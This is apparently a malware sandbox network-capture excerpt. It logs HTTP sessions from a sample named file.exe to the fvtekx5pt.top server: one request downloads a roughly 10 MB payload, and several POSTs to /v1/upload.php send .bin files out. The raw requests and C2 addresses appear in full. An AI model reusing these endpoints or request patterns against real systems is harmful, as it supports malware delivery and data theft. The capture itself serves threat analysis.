Nov 30, 2024 05:00:02.829550028 CET	2472	OUT	Data Raw: 76 63 36 58 4c 70 5c 2f 37 4e 58 37 51 76 68 6d 35 58 53 39 50 6c 65 5a 39 4d 30 7a 78 6e 59 2b 4c 37 50 78 42 71 4f 68 33 55 69 53 36 48 72 65 6e 7a 67 32 38 57 6f 36 6e 72 54 53 61 76 5c 2f 42 56 67 35 5c 2f 62 6b 2b 4c 51 5c 2f 75 36 56 38 4d Data Ascii: vc6XLp\/7NX7Qvhm5XS9PleZ9M0zxnY+L7PxBqOh3UiS6Hrenzg28Wo6nrTSav\/BVg5\/bk+LQ\/u6V8MB\/5i3wcf61+yH7N3\/BIT9mv9l340+DPjr4A8b\/HHWPF3gb\/AISL+ydO8YeJfAWoeHLj\/hJvCmu+D7\/+0bTRfhn4f1ObydM8QXs9p9m1e08u+itZZvtFuktrN+Nf\/BVU5\/bn+MA\/u6d8Lx\/5ijwSf618
Nov 30, 2024 05:00:02.829593897 CET	2472	OUT	Data Raw: 6e 38 50 35 69 6f 61 44 6f 49 65 57 50 2b 65 4b 5a 5c 2f 47 6e 31 4e 53 79 64 76 78 5c 2f 70 55 64 42 32 55 2b 76 79 49 66 6d 62 31 50 38 76 38 4d 31 47 30 61 65 34 54 70 5c 2f 6e 50 38 41 6e 70 56 71 6f 35 4f 33 34 5c 2f 30 6f 48 44 62 35 5c 2f Data Ascii: n8P5ioaDoIeWP+eKZ\/Gn1NSydvx\/pUdB2U+vyIfmb1P8v8M1G0ae4Tp\/nP8AnpVqo5O34\/0oHDb5\/oinJF\/cHr2\/oP8AH15qtIrox\/j\/AF\/yfQ9fWr8n+5\/P\/wDX6+gFM\/h+5H\/nn6fhjPt3oN\/aeX4\/8AofP\/y06d\/6e\/pTA3yvj\/rr\/nv0yasyR\/c\/z1\/qT79KrJHiPe\/z8\/5\/+tQdFPr8
Nov 30, 2024 05:00:02.949213028 CET	2472	OUT	Data Raw: 72 75 4f 76 2b 69 59 7a 5c 2f 6e 6a 30 70 32 37 62 49 6d 79 61 4e 30 5c 2f 50 5c 2f 48 50 39 4d 56 43 73 68 6a 38 35 6e 53 54 39 35 5c 2f 7a 37 5c 2f 77 44 50 75 4f 5c 2f 5c 2f 41 4f 72 74 57 6e 74 50 4c 38 66 2b 41 41 32 54 48 6c 37 39 38 6a 76 Data Ascii: ruOv+iYz\/nj0p27bImyaN0\/P\/HP9MVCshj85nST95\/z7\/wDPuO\/\/AOrtWntPL8f+AA2THl798jv5v+rkl\/cdOf8A649f1Q+X5n9\/\/tl\/qeP8\/maev+5J7+Z+4\/zwfbmj5ZGmd03v5v7r\/Pb\/ADwKzOgZ5br539+P\/pl+v9aJGmWRIf4P+fj+uBQke7fscv8A9tfb9c5pu35kdIcD\/VS+Z\/n8q09p5fj\/
Nov 30, 2024 05:00:02.951080084 CET	4944	OUT	Data Raw: 78 77 39 61 6f 38 58 6c 75 4f 77 50 4e 53 71 7a 70 5c 2f 32 6a 68 71 6d 58 63 5c 2f 31 35 4c 44 76 39 5a 68 34 47 2b 4c 74 54 4c 49 5a 78 53 38 50 2b 49 71 32 58 54 79 75 6a 6e 50 74 36 4f 46 70 31 35 55 38 73 78 46 48 43 59 71 68 69 36 2b 48 70 Data Ascii: xw9ao8XluOwPNSqzp\/2jhqmXc\/15LDv9Zh4G+LtTLIZxS8P+Iq2XTyujnPt6OFp15U8sxFHCYqhi6+HpVp4nDxrYLG4XMaNOvRp1quV1VmkKby+M8TH6x\/Zw\/an+I\/7N+vG48O3J1nwfqVzHJ4k8DalcSjSNUGFje9sXAkbRtcSFVSDVbWNvM8uCLUbbULSFLYe9+HP+Cmf7R3hHxr4i1O31uw8deA7zxXr+r+GfBnxK0y
Nov 30, 2024 05:00:02.951127052 CET	4944	OUT	Data Raw: 6e 6e 4f 4a 77 6d 45 79 75 68 58 78 6c 48 41 7a 77 6d 47 78 65 4f 72 34 33 43 78 6f 59 4c 45 31 71 57 4d 6c 48 45 51 71 2b 77 56 46 38 36 5c 2f 52 49 5c 2f 53 45 2b 6d 35 4b 6e 6a 4b 6a 34 58 79 32 6e 39 51 57 59 54 78 46 47 74 77 7a 6c 65 48 78 Data Ascii: nnOJwmEyuhXxlHAzwmGxeOr43CxoYLE1qWMlHEQq+wVF86\/RI\/SE+m5KnjKj4Xy2n9QWYTxFGtwzleHxXsMqouvmOMw+Cr5jTxeMwGEp2dTMcHQr4HmlCnHESqVIQl+2X7VP\/BWlf2mvgL47+CH\/AAoNvBA8bDw1nxP\/AMLQHiY6b\/wjni\/QPFqKNF\/4V54e+1fbZNBTT2f+1rf7Kl012EuWgFtN+NtWJND8WTz6jYe
Nov 30, 2024 05:00:05.566237926 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sat, 30 Nov 2024 04:00:05 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 48 34 66 6b 32 61 39 67 77 75 68 77 7a 37 41 67 31 37 33 32 39 33 39 32 30 34 Data Ascii: H4fk2a9gwuhwz7Ag1732939204

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	141.8.197.146	80	4144	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 05:00:05.886646986 CET	123	OUT	GET /RrlNvinfLqYZQoxgChZr1732768478?argument=H4fk2a9gwuhwz7Ag1732939204 HTTP/1.1 Host: home.fvtekx5pt.top Accept: /
Nov 30, 2024 05:00:08.498732090 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sat, 30 Nov 2024 04:00:08 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="IMfQuPfuwWpUesQqK;" last-modified: Thu, 28 Nov 2024 04:34:38 GMT cache-control: no-cache etag: "1732768478.266244-10816560-2854558003" Data Raw: 02 99 8d 56 00 b7 56 59 8c 4d 02 bb c2 8c 7a 58 5e a4 40 f2 a4 69 14 32 67 78 2d 22 87 cd c4 76 2b 8d f5 8d e2 56 d9 92 cc b9 ed 0c 1a ae df 0b 04 0a e4 bb 71 e1 bc f0 4f 51 ad b4 dd b8 73 6d fb 70 b8 75 ae f0 80 c4 c4 6c 9d 0a d0 44 3d 24 49 3a ed 50 e0 2f ad 39 95 8f 81 ed 8f df cd de 17 6d 8a d4 d7 7c d3 c1 8f a5 8c 15 fc a1 02 f5 03 79 68 7a de f5 ba d7 9e a1 ef 6c 4b b1 26 43 72 94 53 d3 4f 1e 37 36 41 7d 62 ba 00 a4 76 ce a8 72 13 64 62 10 16 0d fb be 83 b4 a9 2d 45 e7 63 0d db ff 46 30 47 c7 6e 31 c2 05 ff 83 c6 fd a9 10 55 39 9a 14 77 d3 82 f9 a1 14 8b e4 8a 24 cc 40 0d 8d fc e9 85 00 fc e2 2c 6a 8d 6b bc fa 7b 7f b5 ac a2 ec 5d b2 36 bb a1 78 84 83 73 6d 51 e6 d8 c0 a9 fd 55 c7 b4 56 aa 2e 5a 31 f6 7c 39 ee a5 f7 25 6b 9f f4 cb 06 6e 45 8f f5 0c fb 38 a1 4c ad 4f f3 78 ba 4b f7 90 0a d5 35 75 59 8c 59 0b d0 77 a5 09 3c 73 25 76 7c f9 fd 4a 9f 22 33 95 85 2c 08 12 ee 38 18 b9 7d ac c7 77 63 f4 8f 79 25 5b d6 71 23 46 64 ef 2d 0f 2a 26 26 63 e0 eb c8 f0 2a 07 77 25 04 da 81 05 22 80 ba 70 18 [TRUNCATED] Data Ascii: VVYMzX^@i2gx-"v+VqOQsmpulD=$I:P/9m\|yhzlK&CrSO76A}bvrdb-EcF0Gn1U9w$@,jk{]6xsmQUV.Z1\|9%knE8LOxK5uYYw<s%v\|J"3,8}wcy%[q#Fd-&&cw%"p7E_U8E<);L8PBu[N.RcOa'ruVJ'07_ROsd,dc38QD=B0>p&S=APc{$A?;V2nlbPJSZqWshQa;P2Q>5VPv.Nu[cG/}qU=KS8D(JfV(pQ"rJudHO$y;#4n"H'rh'-vR;W~gV,StZZ6hLrwsf[K2W3O;\|Oe'ZvH;E>UR/{YsT+owrrG?1yiX [c`S+w@y&zBxeYp*#e[I(I/[
Nov 30, 2024 05:00:08.498759031 CET	1236	IN	Data Raw: 5c d6 25 4a 52 78 98 cf d4 f6 4b d2 96 50 8d d7 42 9a bc f0 34 7b af b8 3e 70 b2 95 00 ef 96 71 72 20 49 03 68 4a a0 2a b8 7d 09 2d 07 41 59 47 3e 0d 52 b6 04 b7 a5 3f 71 16 a5 77 6b 65 be 30 81 39 5e de 6a f9 88 38 28 01 85 76 b6 92 bd f6 d3 c8 Data Ascii: \%JRxKPB4{>pqr IhJ}-AYG>R?qwke09^j8(vBdgrbD17MhiaHkuu7zB{9;:~r8@>S+cXMIIwjnq#CCK@v rhS;%_G0';0MG8jb[T9Md4M}
Nov 30, 2024 05:00:08.498769045 CET	1236	IN	Data Raw: 6f b6 48 74 4f b1 f6 7f e8 40 22 0e ac 51 74 70 46 86 6a a8 a3 33 32 0d bd 73 14 0f 8c f2 3a 6c 03 17 b0 a7 79 ce c9 13 d8 b3 c4 ae e7 a0 ba 69 0d f2 24 8b 1e a0 7b 60 94 5e f2 17 fa 70 cc de 5a dd f4 04 19 a2 82 62 49 8a ae 0d be 13 97 08 45 b9 Data Ascii: oHtO@"QtpFj32s:lyi${`^pZbIEh52$rDnG^)lg]aFw52oX)diKw'(in#Klq\|.(0?NT{MP&}aF^N#meh:WJ]kV#
Nov 30, 2024 05:00:08.498780012 CET	1236	IN	Data Raw: 36 5b 31 13 c8 58 3d 07 d6 1a 3e de 59 b4 f4 73 87 d4 97 66 ce 4f 60 5f b7 11 a1 c4 ca 0a 2f 10 de 1c a3 33 f7 7c 73 eb 67 60 64 00 1e f2 69 3b 9e 8f 35 4f f6 59 85 6b fc 6f 33 f6 03 f8 96 51 c4 af 61 9a 58 e3 8f 58 3c eb b6 03 c3 dd 12 93 1d 65 Data Ascii: 6[1X=>YsfO`_/3\|sg`di;5OYko3QaXX<eF`jNGm\^vT#G+v:iA#B\&JbV}3lb{-UM@5:&K~>LJ5Rtjg~oP]4$~snH R=vw1T3EaG~jj/HPVw_uG
Nov 30, 2024 05:00:08.498790979 CET	1236	IN	Data Raw: 2c f6 40 78 be 94 80 78 fb 4b 9b b4 81 3e 92 d1 c3 3b be d8 e9 c3 e3 27 97 5d 2a 96 e5 cc 81 f4 a9 23 8e c5 46 d0 15 76 aa 36 74 3f 64 22 05 f7 32 ef c6 7f 52 93 e6 16 cd 3f db 49 82 9f d7 38 17 1b c9 bf 8c 6b e1 94 09 05 82 ee 72 15 34 f3 69 69 Data Ascii: ,@xxK>;']#Fv6t?d"2R?I8kr4ii@5%Q(3``+hH\|!S'PynO&6,8jK`t_^{%qn}1`K2f0\|<D5W2mD"qxhfF<YiF
Nov 30, 2024 05:00:08.498800993 CET	1236	IN	Data Raw: 00 e9 a4 15 c3 8d 2c a6 29 8d 66 a6 55 06 28 e7 d2 eb fd db 16 4a 05 f2 dd e6 65 8f b5 77 ea f2 94 b7 fb 61 4f 3f 36 83 6c f1 22 14 78 6b 0c 23 cd 56 b3 f7 17 08 48 55 0b 0a 52 eb 87 e4 e1 68 17 10 c0 c5 67 20 c8 fd b1 21 8d d5 5b ca 10 d8 04 21 Data Ascii: ,)fU(JewaO?6l"xk#VHURhg ![!pNS0~r:loUri=jg#i.'#_H_k~S=U<VOYOn\|xS4J"V83=X"0sUgs(F$#MwZsc1
Nov 30, 2024 05:00:08.498811960 CET	704	IN	Data Raw: d8 b4 df e1 4c b7 de 0f 18 28 ff e4 7a 30 32 eb ec fe e2 34 39 d5 31 a5 cb 89 c3 14 bb 6d f1 6e 85 d8 14 61 18 74 8d 2d 58 42 ef f1 fd 27 3e 88 d9 9c ef e2 fa 9b 7b b5 d5 4e 86 5e f6 81 5a 18 75 c4 70 7b 8a 7e 0b c9 2e c0 58 b1 f7 46 7a 73 93 e5 Data Ascii: L(z02491mnat-XB'>{N^Zup{~.XFzs-jvJo8UD.JU1`#k=l-"Uy[=[0)M?:uMe.}u,_.B#6O)p9'nN\|9>D#I:QZPt`Q
Nov 30, 2024 05:00:08.503860950 CET	1236	IN	Data Raw: 1f 70 95 84 64 94 f0 89 e1 8a 2e 37 fc 60 30 df c9 e3 59 b4 69 10 5d a6 d7 3e b8 e9 e9 86 15 98 4c 49 da 0f 44 4c 2a e6 36 c1 38 ae eb 51 9d 15 74 ea 8a 8a bb aa cf 5d 2f 78 60 89 52 02 9c b2 48 2c bd f8 3a 06 6c ce 44 48 e2 c0 5d 21 cd 43 dd e7 Data Ascii: pd.7`0Yi]>LIDL68Qt]/x`RH,:lDH]!Cx:eaI8Ufe{=!:!C7Y%`SaN/(Xn$/L5xM%&#wcLU\|^r/ac0CGgL.I:Oug}l>hoqh`9N
Nov 30, 2024 05:00:08.503946066 CET	224	IN	Data Raw: 5e 79 18 ee 9f 80 ab 7f 89 24 92 5b 86 66 72 bb 2d 6b 57 86 99 2d cb 3a ed c3 6a 39 33 53 35 95 04 e7 e0 4a 83 9d e0 2e 93 8d 30 72 6f 98 10 ce 8e db 3d 39 69 c2 da c1 80 4f 3d 6a 5e 0a 48 92 0f c4 bf 01 17 c2 ed 1f 7e 09 66 94 d5 e0 e5 1f 8c f6 Data Ascii: ^y$[fr-kW-:j93S5J.0ro=9iO=j^H~fe&) .E'c:,=2)2y2rcYlg-}&5%]:A4E[HX]]?TI%"+xH*hNp\&BT\|AbbGKw
Nov 30, 2024 05:00:08.503956079 CET	1236	IN	Data Raw: fa d7 16 9b 54 71 ec 86 ae 7c e3 66 3e f9 ea d3 f5 f7 af 67 5a 3f 71 ae 9b e7 37 00 39 ae 34 72 a1 9d bf fb e1 5b 31 54 09 08 dc 6a e4 44 b6 10 b7 66 47 74 c2 8d 3d 29 a1 89 f6 56 70 a4 b8 56 0b 4b 76 14 21 1f 7f c6 6c 28 ec 59 5e 6e 6b 5b e2 ba Data Ascii: Tq\|f>gZ?q794r[1TjDfGt=)VpVKv!l(Y^nk[t!Vfn5\"&zY~'Q:l4vG"Q:\7g7=H#0nsXuwgUw[@2ROnH1-9a4)XpK/3&NT
Nov 30, 2024 05:00:08.620012999 CET	1236	IN	Data Raw: 37 57 ed bc 24 7e 07 9c fe e5 33 22 42 1f bd cc f2 86 ec 68 86 68 e4 03 51 e6 8d 5d 47 69 2c 6a ad 3a ff 54 ce 02 e1 98 6a 33 df a7 96 ed c9 a1 7e fa 68 27 ce 2f cd 37 95 9b bc fe 38 ce 71 df 40 f5 e7 9d 3a 55 5b d1 cb 66 80 ac aa 14 f4 4d 16 60 Data Ascii: 7W$~3"BhhQ]Gi,j:Tj3~h'/78q@:U[fM`"n)rO2) Gh#wT&-X9-t_'Zli=UmpZ~K k\hw%jUWL}*yR=DHY0t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	141.8.197.146	80	4144	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 05:00:32.353041887 CET	643	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekx5pt.top Accept: / Content-Length: 464 Content-Type: multipart/form-data; boundary=------------------------etjbp9eatohwlV63bzxiY0 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 74 6a 62 70 39 65 61 74 6f 68 77 6c 56 36 33 62 7a 78 69 59 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 69 62 61 74 6f 66 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a dd 56 a8 60 99 50 e8 04 c1 4a 68 77 05 4f c8 06 b3 21 cb b7 da 1a 41 8c 68 d2 a1 e3 bd ad e0 04 48 31 da f0 8c f0 ed c0 8b 91 55 2f 18 81 96 5d b0 03 36 ab d6 65 55 9a 33 42 e3 9a f6 ac ec cc 33 0a 77 a7 f4 74 23 ca 8d 53 9e f5 e8 73 96 37 9f 94 40 ae 33 6b 63 35 5b 6a 77 34 2c 1a 06 8a c4 a8 cd be be b3 36 3a 02 22 76 0d a5 78 8d 32 ec 5c 95 4c a8 9f fc c1 71 24 35 9d 45 e5 d9 8e 2e d1 05 3a 30 e5 5e 73 b8 b1 a6 e6 22 44 d1 db 71 38 9b 8b ed 65 1b 8a d5 37 04 07 fc 0e f5 27 b9 61 f9 f2 2c 54 79 3e 25 0b cb 6e 30 bf a8 7d [TRUNCATED] Data Ascii: --------------------------etjbp9eatohwlV63bzxiY0Content-Disposition: form-data; name="file"; filename="Cibatofa.bin"Content-Type: application/octet-streamV`PJhwO!AhH1U/]6eU3B3wt#Ss7@3kc5[jw4,6:"vx2\Lq$5E.:0^s"Dq8e7'a,Ty>%n0}iyD#o)#O@#Xx926jm<.6"SY--------------------------etjbp9eatohwlV63bzxiY0--
Nov 30, 2024 05:00:33.698913097 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 30 Nov 2024 04:00:33 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 29 x-ratelimit-reset: 1732941034 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	141.8.197.146	80	4144	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 05:00:35.070420027 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekx5pt.top Accept: / Content-Length: 75910 Content-Type: multipart/form-data; boundary=------------------------3fgyOkuD7olZ7iE9aKaFXI Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 66 67 79 4f 6b 75 44 37 6f 6c 5a 37 69 45 39 61 4b 61 46 58 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 52 61 66 61 6a 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 2b e4 23 00 b8 06 92 a2 6f ae 50 08 05 a6 59 8e 90 60 86 c3 c7 92 8b 95 01 57 ad e5 26 a4 d1 98 2a ca 59 55 8e 38 50 a9 a5 20 46 cd d0 2f 60 37 87 74 4f 7d 6f 36 91 d1 e2 a2 4b b6 9b 1b 9e 67 fa b1 a5 d3 f3 9c 6c 35 08 3e ba d2 3d 4f bc 07 b2 7b 1c 39 9f af 3c 18 3c 78 69 f7 04 88 23 66 5b db a9 23 ae ac 93 de aa 79 fb 15 ca 63 29 eb 18 a8 0f df ae e5 92 43 39 70 66 19 4e 9f fb f2 51 31 0e 72 ee f1 98 17 b6 9b ae 86 b6 03 ac fb c1 18 8c 54 13 e1 06 9b 8f da ef ed 1d a1 78 ab 49 21 64 f7 93 05 31 ad f0 69 d7 18 13 45 b7 09 3e 99 [TRUNCATED] Data Ascii: --------------------------3fgyOkuD7olZ7iE9aKaFXIContent-Disposition: form-data; name="file"; filename="Rafaji.bin"Content-Type: application/octet-stream+#oPY`W&YU8P F/`7tO}o6Kgl5>=O{9<<xi#f[#yc)C9pfNQ1rTxI!d1iE>ul;u>Ik}0L"j_j8k wd=\|Ovk(r#t.D%$~)A}J>Jp?R'6^+)pT!Lw=)-S.9X Ewn]y]qryXCdajJgr!mN[<XlN[{z0-}]I) lDvi{E)BN!`")+W<.MQqG{Yk"%h`3C$]Sns9l&0B1Gx@]Rt=1SXIS8D}e69bROeDOXn-[7y.6[W]jNYe<GI,.4hPV~=@Gb4td:tNvVs>%u\>GL%2i^Z'uGlU;=)-+#%v\|>'k7Gr$YcY1^pI#ZB$68s3r7Vn0c?^LoC@2 [TRUNCATED]
Nov 30, 2024 05:00:35.190386057 CET	2472	OUT	Data Raw: a7 0d 0a c5 06 0f d2 da 47 f3 e7 fd 32 e5 04 ae e3 eb c9 4a 91 de 47 2f 2b a5 bd fa 6e 73 d1 e9 ec 40 1b 7c 31 35 1c a8 a7 80 50 1c 4a 56 5d 45 f0 bd e6 50 bb 23 f7 a7 e7 e5 f2 0c 9c 88 0f 30 70 81 f1 4d ea b8 3f a5 2d d8 58 c6 72 3e a1 17 7c ca Data Ascii: G2JG/+ns@\|15PJV]EP#0pM?-Xr>\|,.}LEaxv%d q]OYN=).@WkKXMAb2E$dTVW><z^QeJDBwi1ByQdE.7}v3)Z&k))
Nov 30, 2024 05:00:35.190656900 CET	9888	OUT	Data Raw: 5c 91 75 9a c3 0a 38 6b a3 66 ff c6 77 3b 91 95 dc 23 fc 22 4e c6 1d 24 28 ca 96 88 c1 aa 17 a7 c8 7d b4 17 11 11 64 b6 4a 98 be 99 dd 75 35 a0 94 49 70 57 b3 00 ff 0c 1b 11 5e 73 75 30 dc b0 70 55 bc 5e c0 14 23 5e 72 26 f5 a6 b5 15 5e cc 79 e5 Data Ascii: \u8kfw;#"N$(}dJu5IpW^su0pU^#^r&^yiEX9X\g=}yutH\ZL#y(,Q:rKn2ysY{FQESs\|6vHNl-EL@4`"4
Nov 30, 2024 05:00:35.190757036 CET	4944	OUT	Data Raw: 26 32 77 5f 82 bf 2b 36 8d 2c bb 9b ee a9 58 de 6e d9 33 64 7f c3 df 48 e1 14 92 b4 a1 7f 73 8f 77 80 ff 46 ec 80 78 be 77 b5 dc 09 b9 9c 3d 5d dd 4d 62 46 dd 5b be 73 2b 8e e6 37 34 3e 7a 57 f0 e1 e3 5a 8f ac 15 8e 28 c5 0a 65 7e 07 56 b9 4d eb Data Ascii: &2w_+6,Xn3dHswFxw=]MbF[s+74>zWZ(e~VMWYbHw2{V&(`s9}kSp0VX}%z\=\|7>uuk0\vq?L{{K?$/+ofVewXM@UPgj,F`!Hb<"36#
Nov 30, 2024 05:00:35.190892935 CET	2472	OUT	Data Raw: aa d0 a4 a3 f5 b4 7e 2b d4 7b c9 e5 6b bf 04 ce 91 66 71 ad fe 57 cb 08 7a b1 41 0f 11 2a be 34 70 95 51 3b 15 34 a0 7b f6 d7 41 ad 9a 26 9c b1 9b f9 d1 5d 76 59 7a 14 ee a9 56 98 da 1b 62 67 b1 69 39 e2 11 77 88 3e f4 54 ba 33 41 d3 cb d7 aa 36 Data Ascii: ~+{kfqWzA4pQ;4{A&]vYzVbgi9w>T3A6fzkp}5A=voIP/WA6LD)`CQI{N}S[xOqNkFb}zrobXt\R[4x(8h)e\|}kU{
Nov 30, 2024 05:00:35.191050053 CET	4944	OUT	Data Raw: d1 1f bd 27 b9 13 c9 82 c1 6a 38 56 6c 72 df 1d fa f9 75 68 f2 72 04 d2 6c 13 46 ec c5 61 9b 74 61 39 26 2a 4b ba ba 41 f7 1f 3a b1 a5 b2 0e 8f f3 04 90 0e 65 1c 33 fb 06 19 78 e4 ec db 7e ec ec b6 27 68 46 3c 9c bf f1 e1 a3 8d 10 9c b4 5e 48 91 Data Ascii: 'j8VlruhrlFata9&*KA:e3x~'hF<^HCS$8VjEDs!g~k/lV[!`ia5`1$(!j06&LEa>yP eL#is@1g)P8evnK(RSTYI'zl%x\&9a+
Nov 30, 2024 05:00:35.310527086 CET	4944	OUT	Data Raw: 9a df 60 c3 78 2e 3d c0 c8 31 83 38 f4 bb e9 13 20 21 bf 79 7e 6b 96 47 37 18 d7 d2 4c 1e e0 6a 02 d7 6a 28 e0 f2 dd cd 12 62 04 2b 12 2e 0d 81 9b bc 7a b2 95 b0 61 ab 6c 9b 50 69 47 2b 41 0d 5e 58 e5 54 31 57 b2 98 c5 dd ba 8f da 8b 63 dd c1 9a Data Ascii: `x.=18 !y~kG7Ljj(b+.zalPiG+A^XT1WcdtHiz;L)"ap];%%x$C~Xv"&+@]JrM5B(4/ >k#b_g'&B<,UK2xhA>F\382]
Nov 30, 2024 05:00:35.310746908 CET	4944	OUT	Data Raw: e3 8a db d8 dc b8 b2 4a 51 a3 c2 1a b7 17 be bb b8 65 a0 06 98 a0 5c 29 ad 35 02 0b f3 3c 12 4c 74 17 38 a4 62 f7 9b bf f8 85 22 bf f5 3c 3a c7 3a e2 64 46 1d 62 9c 2b 8b 81 9b 32 51 74 f0 f6 03 16 06 64 be c0 8b fc 41 05 10 2c 7e c2 5f 6e f9 cb Data Ascii: JQe\)5<Lt8b"<::dFb+2QtdA,~_n~SbjpUB:ZRg''Pt2&itv[nyTr$,{!XExREU?dI\|eCgp%LZ;98QiqY]C
Nov 30, 2024 05:00:35.310770988 CET	2472	OUT	Data Raw: fa 1e e4 e5 28 eb 52 b1 0d e5 81 37 c6 8e e4 3b 2f 59 af 89 f4 b9 97 c7 bd b8 b7 29 2b fc c0 bf 82 a8 b0 a7 f5 61 6a 6f 65 93 e6 b4 fe 28 eb 2d 75 d2 07 f1 e3 f4 b6 66 e1 c1 49 ce bb 1e 47 8f 20 4b 87 8a f4 e3 1a ea c6 61 26 d4 80 8c 4c 92 11 26 Data Ascii: (R7;/Y)+ajoe(-ufIG Ka&L&'LZPvDwvnt8u{^v39k?Yba35h%f["K6@B!+5b5yeYGFX!N_X@=@G2yz
Nov 30, 2024 05:00:35.310815096 CET	2472	OUT	Data Raw: 1f cb 16 9c 06 ef 00 be a2 28 0e 03 17 b5 d0 b2 01 c3 96 89 71 78 53 73 d8 71 26 1f 15 5b 1f e4 89 54 77 c1 ce 23 be d2 0d 32 3d fd ee ed 34 94 59 9a 7d e5 3e 95 b1 85 e9 ce b0 31 04 c9 4a 2c d7 11 c9 38 23 ed f2 88 94 f4 7b 9c 40 cb 5b ff 78 78 Data Ascii: (qxSsq&[Tw#2=4Y}>1J,8#{@[xxCd]0DEG6[74E)l1T" 5b/k8ZB8J8kAyg7BlKH6c2'-!#\|['7;(l4q$gp"nBKsq~e_`
Nov 30, 2024 05:00:35.358822107 CET	24179	OUT	Data Raw: 66 29 fd 7c 30 4d b7 74 0d 3c 01 52 f0 c7 7f 5a d9 ce 19 86 0e 4b e4 fa 03 19 3a 5d 79 43 53 0f 9c 36 3e 2b e6 7c c8 e8 87 6e 9c 85 52 21 58 dc de bc 6a ec df 71 4e c1 8e 5d 35 c0 d2 0e 85 3e 9d 22 0a 2b b6 2d f4 4f 32 30 e0 65 66 75 9e db 5f bf Data Ascii: f)\|0Mt<RZK:]yCS6>+\|nR!XjqN]5>"+-O20efu_QH6v\Pmz N9nOdgd,xBQUg}DtZ"kv#57'L\|l}>q}UN'}EL9[>M~>#d#\|
Nov 30, 2024 05:00:36.909876108 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 30 Nov 2024 04:00:36 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 28 x-ratelimit-reset: 1732941034 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49751	141.8.197.146	80	4144	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 05:00:43.591408968 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekx5pt.top Accept: / Content-Length: 30025 Content-Type: multipart/form-data; boundary=------------------------blCPDPFfuxHDz4bKvMP4bY Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 62 6c 43 50 44 50 46 66 75 78 48 44 7a 34 62 4b 76 4d 50 34 62 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 75 79 65 6e 75 64 69 62 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 65 6e 5e 5d 2d bb e9 ff c9 d4 db 39 13 1d 83 49 42 31 65 9e ac ed 6e 8b d9 f1 c8 37 c1 4c ae 18 01 9c a4 89 fe fd ed cf 31 09 1f a4 6c 1b 36 32 a3 b1 9d c0 5f d4 e4 5f c2 23 1f db 46 b6 9d c3 99 14 4e f0 0d 67 10 56 ed 67 19 2b 65 11 50 fb 6a 4b 41 51 c0 22 3a 01 43 3d 1a dc 6e 5d 23 22 d9 c4 7c cb 4f a1 4d b5 36 c0 a7 ab 6f 29 b7 39 5c 45 6f 15 3e b8 ed 38 f4 0e d6 72 f6 fb f0 fb 0f 9b 59 bc 24 fa d2 fe a6 1c b8 00 24 d7 48 76 ed 09 d8 4a 51 14 37 2a 4b 32 3b 75 c9 a6 79 50 6a dc 2e a1 9e 6e 36 33 04 aa a6 e3 